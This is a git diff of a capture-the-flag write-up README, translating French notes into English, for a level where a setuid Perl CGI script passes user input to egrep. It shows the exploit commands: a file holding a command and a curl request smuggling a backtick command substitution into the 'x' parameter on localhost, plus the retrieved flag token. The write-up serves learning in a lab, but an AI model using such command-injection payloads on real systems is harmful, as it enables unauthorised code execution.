diff --git a/rparodi/level12/README.md b/rparodi/level12/README.md index 971bb25..4f4ceb7 100644 --- a/rparodi/level12/README.md +++ b/rparodi/level12/README.md @@ -1,4 +1,4 @@ -Lors de mon arriver sur le level12 je remarque un fichier lisible avec un script perl +When arriving on level12 I notice a readable file with a perl script. ```bash ls -l @@ -6,7 +6,7 @@ total 4 -rwsr-sr-x+ 1 flag12 level12 464 Mar 5 2016 level12.pl ``` -Ce sciprt prends 2 entree utilisateur (x, y) et transforme x a l'aide de la commande egrep +This script takes 2 user inputs (x, y) and transforms x with the help of the egrep command. ```perl #!/usr/bin/env perl # localhost:4646 @@ -37,15 +37,17 @@ sub n { } n(t(param("x"), param("y"))); - ``` -L'exploit est donc assez simple il suffit de mettre la commande souhaiter dans un fichier avec un nom en majuscule (a cause du tr) et elle sera executer +The exploit is therefore quite simple, it is enough to put the desired command in a file with a name in uppercase (because of the tr) and it will be executed. ```bash echo "getflag > /tmp/pass" > /tmp/LEVEL + mv /tmp/level /tmp/LEVEL + curl 'localhost:4646?x=`/*/LEVEL`' + cat /tmp/pass Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr ```